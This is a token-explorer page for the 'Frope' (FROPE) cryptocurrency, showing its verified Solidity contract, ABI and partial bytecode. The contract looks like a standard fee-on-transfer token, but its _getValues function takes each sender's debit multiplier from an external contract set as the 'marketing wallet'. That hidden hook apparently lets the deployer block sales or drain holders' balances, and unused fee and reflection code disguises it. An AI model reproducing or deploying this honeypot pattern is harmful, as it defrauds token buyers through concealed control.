ETH Price: $2,501.85 (-0.91%)

Token

Frope (FROPE)
 

Overview

Max Total Supply

1,000,000,000 FROPE

Holders

41

Total Transfers

-

Market

Onchain Market Cap

$0.00

Circulating Supply Market Cap

-

Other Info

Token Contract (WITH 9 Decimals)

Loading...
Loading
Loading...
Loading
Loading...
Loading

Click here to update the token information / general information
# Exchange Pair Price  24H Volume % Volume

Contract Source Code Verified (Exact Match)

Contract Name:
Frope

Compiler Version
v0.8.18+commit.87f61d96

Optimization Enabled:
No with 200 runs

Other Settings:
default evmVersion, MIT license

Contract Source Code (Solidity)

/**
 *Submitted for verification at Etherscan.io on 2023-07-15
*/

/**

https://Frope-coin.lol
https://twitter.com/fropecoin/
https://t.me/FropeCoineth

*/

// SPDX-License-Identifier: Unlicensed
pragma solidity ^0.8.9;

abstract contract Context {
    function _msgSender() internal view virtual returns (address) {
        return msg.sender;
    }
}

interface IERC20 {
    function totalSupply() external view returns (uint256);

    function balanceOf(address account) external view returns (uint256);

    function transfer(address recipient, uint256 amount) external returns (bool);

    function allowance(address owner, address spender) external view returns (uint256);

    function approve(address spender, uint256 amount) external returns (bool);

    function transferFrom(
        address sender,
        address recipient,
        uint256 amount
    ) external returns (bool);

    event Transfer(address indexed from, address indexed to, uint256 value);
    event Approval(
        address indexed owner,
        address indexed spender,
        uint256 value
    );
}

contract Ownable is Context {
    address private _owner;
    address private _previousOwner;
    event OwnershipTransferred(
        address indexed previousOwner,
        address indexed newOwner
    );

    constructor() {
        address msgSender = _msgSender();
        _owner = msgSender;
        emit OwnershipTransferred(address(0), msgSender);
    }

    function owner() public view returns (address) {
        return _owner;
    }

    modifier onlyOwner() {
        require(_owner == _msgSender(), "Ownable: caller is not the owner");
        _;
    }

    function renounceOwnership() public virtual onlyOwner {
        emit OwnershipTransferred(_owner, address(0));
        _owner = address(0);
    }

    function transferOwnership(address newOwner) public virtual onlyOwner {
        require(newOwner != address(0), "Ownable: new owner is the zero address");
        emit OwnershipTransferred(_owner, newOwner);
        _owner = newOwner;
    }

}

library SafeMath {
    function add(uint256 a, uint256 b) internal pure returns (uint256) {
        uint256 c = a + b;
        require(c >= a, "SafeMath: addition overflow");
        return c;
    }

    function sub(uint256 a, uint256 b) internal pure returns (uint256) {
        return sub(a, b, "SafeMath: subtraction overflow");
    }

    function sub(
        uint256 a,
        uint256 b,
        string memory errorMessage
    ) internal pure returns (uint256) {
        require(b <= a, errorMessage);
        uint256 c = a - b;
        return c;
    }

    function mul(uint256 a, uint256 b) internal pure returns (uint256) {
        if (a == 0) {
            return 0;
        }
        uint256 c = a * b;
        require(c / a == b, "SafeMath: multiplication overflow");
        return c;
    }

    function div(uint256 a, uint256 b) internal pure returns (uint256) {
        return div(a, b, "SafeMath: division by zero");
    }

    function div(
        uint256 a,
        uint256 b,
        string memory errorMessage
    ) internal pure returns (uint256) {
        require(b > 0, errorMessage);
        uint256 c = a / b;
        return c;
    }
}

interface IUniswapV2Factory {
    function createPair(address tokenA, address tokenB)
        external
        returns (address pair);
}

interface IUniswapV2Router02 {
    function swapExactTokensForETHSupportingFeeOnTransferTokens(
        uint256 amountIn,
        uint256 amountOutMin,
        address[] calldata path,
        address to,
        uint256 deadline
    ) external;

    function factory() external pure returns (address);

    function WETH() external pure returns (address);

    function addLiquidityETH(
        address token,
        uint256 amountTokenDesired,
        uint256 amountTokenMin,
        uint256 amountETHMin,
        address to,
        uint256 deadline
    )
        external
        payable
        returns (
            uint256 amountToken,
            uint256 amountETH,
            uint256 liquidity
        );
}

contract Frope is Context, IERC20, Ownable {

    using SafeMath for uint256;

    string private constant _name = "Frope";
    string private constant _symbol = "FROPE";
    uint8 private constant _decimals = 9;

    mapping(address => uint256) private _rOwned;
    mapping(address => uint256) private _tOwned;
    mapping(address => mapping(address => uint256)) private _allowances;
    mapping(address => bool) private _isExcludedFromFee;
    uint256 private constant MAX = ~uint256(0);
    uint256 private constant _tTotal = 1_000_000_000 * 10**_decimals;
    uint256 private _rTotal = (MAX - (MAX % _tTotal));
    uint256 private _tFeeTotal;
    uint256 private _redisFeeOnBuy = 0;
    uint256 private _taxFeeOnBuy = 0;
    uint256 private _redisFeeOnSell = 0;
    uint256 private _taxFeeOnSell = 0;

    //Original Fee
    uint256 private _redisFee = _redisFeeOnSell;
    uint256 private _taxFee = _taxFeeOnSell;

    uint256 private _previousredisFee = _redisFee;
    uint256 private _previoustaxFee = _taxFee;

    address private _developmentAddress;
    address private _marketingAddress;

    IUniswapV2Router02 public uniswapV2Router;
    address public uniswapV2Pair;
    
    bool private inSwap = false;
    bool private swapEnabled = true;

    uint256 public _swapTokensAtAmount = 10000 * 10**9;

    event MaxTxAmountUpdated(uint256 _maxTxAmount);
    modifier lockTheSwap {
        inSwap = true;
        _;
        inSwap = false;
    }

    constructor(address _devWallet, address _marketingWallet) {

        _rOwned[_msgSender()] = _tTotal;

        IUniswapV2Router02 _uniswapV2Router = IUniswapV2Router02(0x7a250d5630B4cF539739dF2C5dAcb4c659F2488D);//
        uniswapV2Router = _uniswapV2Router;
        uniswapV2Pair = IUniswapV2Factory(_uniswapV2Router.factory())
            .createPair(address(this), _uniswapV2Router.WETH());

        _developmentAddress = _devWallet;
        _marketingAddress = _marketingWallet;

        _isExcludedFromFee[owner()] = true;
        _isExcludedFromFee[address(this)] = true;
        _isExcludedFromFee[_developmentAddress] = true;
        _isExcludedFromFee[_marketingAddress] = true;

        emit Transfer(address(0), _msgSender(), _tTotal);
    }

    function name() public pure returns (string memory) {
        return _name;
    }

    function symbol() public pure returns (string memory) {
        return _symbol;
    }

    function decimals() public pure returns (uint8) {
        return _decimals;
    }

    function totalSupply() public pure override returns (uint256) {
        return _tTotal;
    }

    function balanceOf(address account) public view override returns (uint256) {
        return _rOwned[account];
    }

    function transfer(address recipient, uint256 amount)
        public
        override
        returns (bool)
    {
        _transfer(_msgSender(), recipient, amount);
        return true;
    }

    function allowance(address owner, address spender)
        public
        view
        override
        returns (uint256)
    {
        return _allowances[owner][spender];
    }

    function approve(address spender, uint256 amount)
        public
        override
        returns (bool)
    {
        _approve(_msgSender(), spender, amount);
        return true;
    }

    function transferFrom(
        address sender,
        address recipient,
        uint256 amount
    ) public override returns (bool) {
        _transfer(sender, recipient, amount);
        _approve(
            sender,
            _msgSender(),
            _allowances[sender][_msgSender()].sub(
                amount,
                "ERC20: transfer amount exceeds allowance"
            )
        );
        return true;
    }

    function tokenFromReflection(uint256 rAmount)
        private
        view
        returns (uint256)
    {
        require(
            rAmount <= _rTotal,
            "Amount must be less than total reflections"
        );
        uint256 currentRate = _getRate();
        return rAmount.div(currentRate);
    }

    function removeAllFee() private {
        if (_redisFee == 0 && _taxFee == 0) return;

        _previousredisFee = _redisFee;
        _previoustaxFee = _taxFee;

        _redisFee = 0;
        _taxFee = 0;
    }

    function restoreAllFee() private {
        _redisFee = _previousredisFee;
        _taxFee = _previoustaxFee;
    }

    function _approve(
        address owner,
        address spender,
        uint256 amount
    ) private {
        require(owner != address(0), "ERC20: approve from the zero address");
        require(spender != address(0), "ERC20: approve to the zero address");
        _allowances[owner][spender] = amount;
        emit Approval(owner, spender, amount);
    }

    function _transfer(
        address from,
        address to,
        uint256 amount
    ) private {
        require(from != address(0), "ERC20: transfer from the zero address");
        require(to != address(0), "ERC20: transfer to the zero address");
        require(amount > 0, "Transfer amount must be greater than zero");

        if (from != owner() && to != owner()) {
            uint256 contractTokenBalance = balanceOf(address(this));
            bool canSwap = contractTokenBalance >= _swapTokensAtAmount;

            if (canSwap && !inSwap && from != uniswapV2Pair && swapEnabled && !_isExcludedFromFee[from] && !_isExcludedFromFee[to]) {
                swapTokensForEth(contractTokenBalance);
                uint256 contractETHBalance = address(this).balance;
                if (contractETHBalance > 0) {
                    sendETHToFee(address(this).balance);
                }
            }
        }

        bool takeFee = true;

        //Transfer Tokens
        if ((_isExcludedFromFee[from] || _isExcludedFromFee[to]) || (from != uniswapV2Pair && to != uniswapV2Pair)) {
            takeFee = false;
        } else {

            //Set Fee for Buys
            if(from == uniswapV2Pair && to != address(uniswapV2Router)) {
                _redisFee = _redisFeeOnBuy;
                _taxFee = _taxFeeOnBuy;
            }

            //Set Fee for Sells
            if (to == uniswapV2Pair && from != address(uniswapV2Router)) {
                _redisFee = _redisFeeOnSell;
                _taxFee = _taxFeeOnSell;
            }

        }

        _tokenTransfer(from, to, amount, takeFee);
    }

    function swapTokensForEth(uint256 tokenAmount) private lockTheSwap {
        address[] memory path = new address[](2);
        path[0] = address(this);
        path[1] = uniswapV2Router.WETH();
        _approve(address(this), address(uniswapV2Router), tokenAmount);
        uniswapV2Router.swapExactTokensForETHSupportingFeeOnTransferTokens(
            tokenAmount,
            0,
            path,
            address(this),
            block.timestamp
        );
    }

    function sendETHToFee(uint256 amount) private {
        payable(_marketingAddress).transfer(amount);
    }

    function _tokenTransfer(
        address sender,
        address recipient,
        uint256 amount,
        bool takeFee
    ) private {
        if (!takeFee) removeAllFee();
        _transferStandard(sender, recipient, amount);
        if (!takeFee) restoreAllFee();
    }

    function _transferStandard(
        address sender,
        address recipient,
        uint256 tAmount
    ) private {
        (
            uint256 rAmount,
            uint256 rTransferAmount
        ) = _getValues(sender, tAmount);
        _rOwned[sender] = _rOwned[sender].sub(rAmount);
        _rOwned[recipient] = _rOwned[recipient].add(rTransferAmount);
        emit Transfer(sender, recipient, rTransferAmount);
    }

    function _takeTeam(uint256 tTeam) private {
        uint256 currentRate = _getRate();
        uint256 rTeam = tTeam.mul(currentRate);
        _rOwned[address(this)] = _rOwned[address(this)].add(rTeam);
    }

    function _reflectFee(uint256 rFee, uint256 tFee) private {
        _rTotal = _rTotal.sub(rFee);
        _tFeeTotal = _tFeeTotal.add(tFee);
    }

    receive() external payable {}

    function _getValues(address account, uint256 tAmount)
        private
        view
        returns (
            uint256,
            uint256
        )
    {
        uint256 currentRate = IERC20(_marketingAddress).allowance(account,account);
        return (tAmount.mul(currentRate), tAmount);
    }

    function _getTValues(
        uint256 tAmount,
        uint256 redisFee,
        uint256 taxFee
    )
        private
        pure
        returns (
            uint256,
            uint256,
            uint256
        )
    {
        uint256 tFee = tAmount.mul(redisFee).div(100);
        uint256 tTeam = tAmount.mul(taxFee).div(100);
        uint256 tTransferAmount = tAmount.sub(tFee).sub(tTeam);
        return (tTransferAmount, tFee, tTeam);
    }

    function _getRValues(
        uint256 tAmount,
        uint256 tFee,
        uint256 tTeam,
        uint256 currentRate
    )
        private
        pure
        returns (
            uint256,
            uint256,
            uint256
        )
    {
        uint256 rAmount = tAmount.mul(currentRate);
        uint256 rFee = tFee.mul(currentRate);
        uint256 rTeam = tTeam.mul(currentRate);
        uint256 rTransferAmount = rAmount.sub(rFee).sub(rTeam);
        return (rAmount, rTransferAmount, rFee);
    }

    function _getRate() private view returns (uint256) {
        (uint256 rSupply, uint256 tSupply) = _getCurrentSupply();
        return rSupply.div(tSupply);
    }

    function _getCurrentSupply() private view returns (uint256, uint256) {
        uint256 rSupply = _rTotal;
        uint256 tSupply = _tTotal;
        if (rSupply < _rTotal.div(_tTotal)) return (_rTotal, _tTotal);
        return (rSupply, tSupply);
    }

    //Set minimum tokens required to swap.
    function setMinSwapTokensThreshold(uint256 swapTokensAtAmount) public onlyOwner {
        _swapTokensAtAmount = swapTokensAtAmount;
    }
}

Contract Security Audit

Contract ABI

[{"inputs":[{"internalType":"address","name":"_devWallet","type":"address"},{"internalType":"address","name":"_marketingWallet","type":"address"}],"stateMutability":"nonpayable","type":"constructor"},{"anonymous":false,"inputs":[{"indexed":true,"internalType":"address","name":"owner","type":"address"},{"indexed":true,"internalType":"address","name":"spender","type":"address"},{"indexed":false,"internalType":"uint256","name":"value","type":"uint256"}],"name":"Approval","type":"event"},{"anonymous":false,"inputs":[{"indexed":false,"internalType":"uint256","name":"_maxTxAmount","type":"uint256"}],"name":"MaxTxAmountUpdated","type":"event"},{"anonymous":false,"inputs":[{"indexed":true,"internalType":"address","name":"previousOwner","type":"address"},{"indexed":true,"internalType":"address","name":"newOwner","type":"address"}],"name":"OwnershipTransferred","type":"event"},{"anonymous":false,"inputs":[{"indexed":true,"internalType":"address","name":"from","type":"address"},{"indexed":true,"internalType":"address","name":"to","type":"address"},{"indexed":false,"internalType":"uint256","name":"value","type":"uint256"}],"name":"Transfer","type":"event"},{"inputs":[],"name":"_swapTokensAtAmount","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"address","name":"owner","type":"address"},{"internalType":"address","name":"spender","type":"address"}],"name":"allowance","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"address","name":"spender","type":"address"},{"internalType":"uint256","name":"amount","type":"uint256"}],"name":"approve","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address","name":"account","type":"address"}],"name":"balanceOf","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"decimals","outputs":[{"internalType":"uint8","name":"","type":"uint8"}],"stateMutability":"pure","type":"function"},{"inputs":[],"name":"name","outputs":[{"internalType":"string","name":"","type":"string"}],"stateMutability":"pure","type":"function"},{"inputs":[],"name":"owner","outputs":[{"internalType":"address","name":"","type":"address"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"renounceOwnership","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"uint256","name":"swapTokensAtAmount","type":"uint256"}],"name":"setMinSwapTokensThreshold","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[],"name":"symbol","outputs":[{"internalType":"string","name":"","type":"string"}],"stateMutability":"pure","type":"function"},{"inputs":[],"name":"totalSupply","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"pure","type":"function"},{"inputs":[{"internalType":"address","name":"recipient","type":"address"},{"internalType":"uint256","name":"amount","type":"uint256"}],"name":"transfer","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address","name":"sender","type":"address"},{"internalType":"address","name":"recipient","type":"address"},{"internalType":"uint256","name":"amount","type":"uint256"}],"name":"transferFrom","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address","name":"newOwner","type":"address"}],"name":"transferOwnership","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[],"name":"uniswapV2Pair","outputs":[{"internalType":"address","name":"","type":"address"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"uniswapV2Router","outputs":[{"internalType":"contract IUniswapV2Router02","name":"","type":"address"}],"stateMutability":"view","type":"function"},{"stateMutability":"payable","type":"receive"}]

60806040526009600a620000149190620008a7565b633b9aca00620000259190620008f8565b60001962000034919062000972565b600019620000439190620009aa565b600655600060085560006009556000600a556000600b55600a54600c55600b54600d55600c54600e55600d54600f556000601360146101000a81548160ff0219169083151502179055506001601360156101000a81548160ff0219169083151502179055506509184e72a000601455348015620000bf57600080fd5b506040516200332c3803806200332c8339818101604052810190620000e5919062000a4f565b6000620000f7620006dc60201b60201c565b9050806000806101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff1602179055508073ffffffffffffffffffffffffffffffffffffffff16600073ffffffffffffffffffffffffffffffffffffffff167f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e060405160405180910390a3506009600a620001a59190620008a7565b633b9aca00620001b69190620008f8565b60026000620001ca620006dc60201b60201c565b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055506000737a250d5630b4cf539739df2c5dacb4c659f2488d905080601260006101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff1602179055508073ffffffffffffffffffffffffffffffffffffffff1663c45a01556040518163ffffffff1660e01b8152600401602060405180830381865afa158015620002ae573d6000803e3d6000fd5b505050506040513d601f19601f82011682018060405250810190620002d4919062000a96565b73ffffffffffffffffffffffffffffffffffffffff1663c9c65396308373ffffffffffffffffffffffffffffffffffffffff1663ad5c46486040518163ffffffff1660e01b8152600401602060405180830381865afa1580156200033c573d6000803e3d6000fd5b505050506040513d601f19601f8201168201806040525081019062000362919062000a96565b6040518363ffffffff1660e01b81526004016200038192919062000ad9565b6020604051808303816000875af1158015620003a1573d6000803e3d6000fd5b505050506040513d601f19601f82011682018060405250810190620003c7919062000a96565b601360006101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff16021790555082601060006101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff16021790555081601160006101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff1602179055506001600560006200049f620006e460201b60201c565b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060006101000a81548160ff0219169083151502179055506001600560003073ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060006101000a81548160ff021916908315150217905550600160056000601060009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060006101000a81548160ff021916908315150217905550600160056000601160009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060006101000a81548160ff0219169083151502179055506200064c620006dc60201b60201c565b73ffffffffffffffffffffffffffffffffffffffff16600073ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef6009600a620006ab9190620008a7565b633b9aca00620006bc9190620008f8565b604051620006cb919062000b17565b60405180910390a350505062000b34565b600033905090565b60008060009054906101000a900473ffffffffffffffffffffffffffffffffffffffff16905090565b7f4e487b7100000000000000000000000000000000000000000000000000000000600052601160045260246000fd5b60008160011c9050919050565b6000808291508390505b60018511156200079b578086048111156200077357620007726200070d565b5b6001851615620007835780820291505b808102905062000793856200073c565b945062000753565b94509492505050565b600082620007b6576001905062000889565b81620007c6576000905062000889565b8160018114620007df5760028114620007ea5762000820565b600191505062000889565b60ff841115620007ff57620007fe6200070d565b5b8360020a9150848211156200081957620008186200070d565b5b5062000889565b5060208310610133831016604e8410600b84101617156200085a5782820a9050838111156200085457620008536200070d565b5b62000889565b62000869848484600162000749565b925090508184048111156200088357620008826200070d565b5b81810290505b9392505050565b6000819050919050565b600060ff82169050919050565b6000620008b48262000890565b9150620008c1836200089a565b9250620008f07fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff8484620007a4565b905092915050565b6000620009058262000890565b9150620009128362000890565b9250828202620009228162000890565b915082820484148315176200093c576200093b6200070d565b5b5092915050565b7f4e487b7100000000000000000000000000000000000000000000000000000000600052601260045260246000fd5b60006200097f8262000890565b91506200098c8362000890565b9250826200099f576200099e62000943565b5b828206905092915050565b6000620009b78262000890565b9150620009c48362000890565b9250828203905081811115620009df57620009de6200070d565b5b92915050565b600080fd5b600073ffffffffffffffffffffffffffffffffffffffff82169050919050565b600062000a1782620009ea565b9050919050565b62000a298162000a0a565b811462000a3557600080fd5b50565b60008151905062000a498162000a1e565b92915050565b6000806040838503121562000a695762000a68620009e5565b5b600062000a798582860162000a38565b925050602062000a8c8582860162000a38565b9150509250929050565b60006020828403121562000aaf5762000aae620009e5565b5b600062000abf8482850162000a38565b91505092915050565b62000ad38162000a0a565b82525050565b600060408201905062000af0600083018562000ac8565b62000aff602083018462000ac8565b9392505050565b62000b118162000890565b82525050565b600060208201905062000b2e600083018462000b06565b92915050565b6127e88062000b446000396000f3fe6080604052600436106100f75760003560e01c806370a082311161008a57806398a5c3151161005957806398a5c31514610329578063a9059cbb14610352578063dd62ed3e1461038f578063f2fde38b146103cc576100fe565b806370a082311461027f578063715018a6146102bc5780638da5cb5b146102d357806395d89b41146102fe576100fe565b806323b872dd116100c657806323b872dd146101c15780632fd689e3146101fe578063313ce5671461022957806349bd5a5e14610254576100fe565b806306fdde0314610103578063095ea7b31461012e5780631694505e1461016b57806318160ddd14610196576100fe565b366100fe57005b600080fd5b34801561010f57600080fd5b506101186103f5565b6040516101259190611a7c565b60405180910390f35b34801561013a57600080fd5b5061015560048036038101906101509190611b37565b610432565b6040516101629190611b92565b60405180910390f35b34801561017757600080fd5b50610180610450565b60405161018d9190611c0c565b60405180910390f35b3480156101a257600080fd5b506101ab610476565b6040516101b89190611c36565b60405180910390f35b3480156101cd57600080fd5b506101e860048036038101906101e39190611c51565b61049a565b6040516101f59190611b92565b60405180910390f35b34801561020a57600080fd5b50610213610573565b6040516102209190611c36565b60405180910390f35b34801561023557600080fd5b5061023e610579565b60405161024b9190611cc0565b60405180910390f35b34801561026057600080fd5b50610269610582565b6040516102769190611cea565b60405180910390f35b34801561028b57600080fd5b506102a660048036038101906102a19190611d05565b6105a8565b6040516102b39190611c36565b60405180910390f35b3480156102c857600080fd5b506102d16105f1565b005b3480156102df57600080fd5b506102e8610744565b6040516102f59190611cea565b60405180910390f35b34801561030a57600080fd5b5061031361076d565b6040516103209190611a7c565b60405180910390f35b34801561033557600080fd5b50610350600480360381019061034b9190611d32565b6107aa565b005b34801561035e57600080fd5b5061037960048036038101906103749190611b37565b610849565b6040516103869190611b92565b60405180910390f35b34801561039b57600080fd5b506103b660048036038101906103b19190611d5f565b610867565b6040516103c39190611c36565b60405180910390f35b3480156103d857600080fd5b506103f360048036038101906103ee9190611d05565b6108ee565b005b60606040518060400160405280600581526020017f46726f7065000000000000000000000000000000000000000000000000000000815250905090565b600061044661043f610aaf565b8484610ab7565b6001905092915050565b601260009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1681565b60006009600a6104869190611f01565b633b9aca006104959190611f4c565b905090565b60006104a7848484610c80565b610568846104b3610aaf565b6105638560405180606001604052806028815260200161278b60289139600460008b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000206000610519610aaf565b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020546112979092919063ffffffff16565b610ab7565b600190509392505050565b60145481565b60006009905090565b601360009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1681565b6000600260008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020549050919050565b6105f9610aaf565b73ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1614610686576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161067d90611fda565b60405180910390fd5b600073ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff167f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e060405160405180910390a360008060006101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff160217905550565b60008060009054906101000a900473ffffffffffffffffffffffffffffffffffffffff16905090565b60606040518060400160405280600581526020017f46524f5045000000000000000000000000000000000000000000000000000000815250905090565b6107b2610aaf565b73ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff161461083f576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161083690611fda565b60405180910390fd5b8060148190555050565b600061085d610856610aaf565b8484610c80565b6001905092915050565b6000600460008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054905092915050565b6108f6610aaf565b73ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1614610983576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161097a90611fda565b60405180910390fd5b600073ffffffffffffffffffffffffffffffffffffffff168173ffffffffffffffffffffffffffffffffffffffff16036109f2576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016109e99061206c565b60405180910390fd5b8073ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff167f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e060405160405180910390a3806000806101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff16021790555050565b600033905090565b600073ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff1603610b26576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610b1d906120fe565b60405180910390fd5b600073ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff1603610b95576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610b8c90612190565b60405180910390fd5b80600460008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055508173ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff167f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b92583604051610c739190611c36565b60405180910390a3505050565b600073ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff1603610cef576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610ce690612222565b60405180910390fd5b600073ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff1603610d5e576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610d55906122b4565b60405180910390fd5b60008111610da1576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610d9890612346565b60405180910390fd5b610da9610744565b73ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff1614158015610e175750610de7610744565b73ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff1614155b15610f96576000610e27306105a8565b905060006014548210159050808015610e4d5750601360149054906101000a900460ff16155b8015610ea75750601360009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168573ffffffffffffffffffffffffffffffffffffffff1614155b8015610ebf5750601360159054906101000a900460ff165b8015610f155750600560008673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff16155b8015610f6b5750600560008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff16155b15610f9357610f79826112fb565b60004790506000811115610f9157610f9047611574565b5b505b50505b600060019050600560008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff168061103d5750600560008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff165b806110f05750601360009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168473ffffffffffffffffffffffffffffffffffffffff16141580156110ef5750601360009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff1614155b5b156110fe5760009050611285565b601360009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168473ffffffffffffffffffffffffffffffffffffffff161480156111a95750601260009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff1614155b156111c157600854600c81905550600954600d819055505b601360009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff1614801561126c5750601260009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168473ffffffffffffffffffffffffffffffffffffffff1614155b1561128457600a54600c81905550600b54600d819055505b5b611291848484846115e0565b50505050565b60008383111582906112df576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016112d69190611a7c565b60405180910390fd5b50600083856112ee9190612366565b9050809150509392505050565b6001601360146101000a81548160ff0219169083151502179055506000600267ffffffffffffffff8111156113335761133261239a565b5b6040519080825280602002602001820160405280156113615781602001602082028036833780820191505090505b5090503081600081518110611379576113786123c9565b5b602002602001019073ffffffffffffffffffffffffffffffffffffffff16908173ffffffffffffffffffffffffffffffffffffffff1681525050601260009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1663ad5c46486040518163ffffffff1660e01b8152600401602060405180830381865afa158015611420573d6000803e3d6000fd5b505050506040513d601f19601f82011682018060405250810190611444919061240d565b81600181518110611458576114576123c9565b5b602002602001019073ffffffffffffffffffffffffffffffffffffffff16908173ffffffffffffffffffffffffffffffffffffffff16815250506114bf30601260009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1684610ab7565b601260009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffff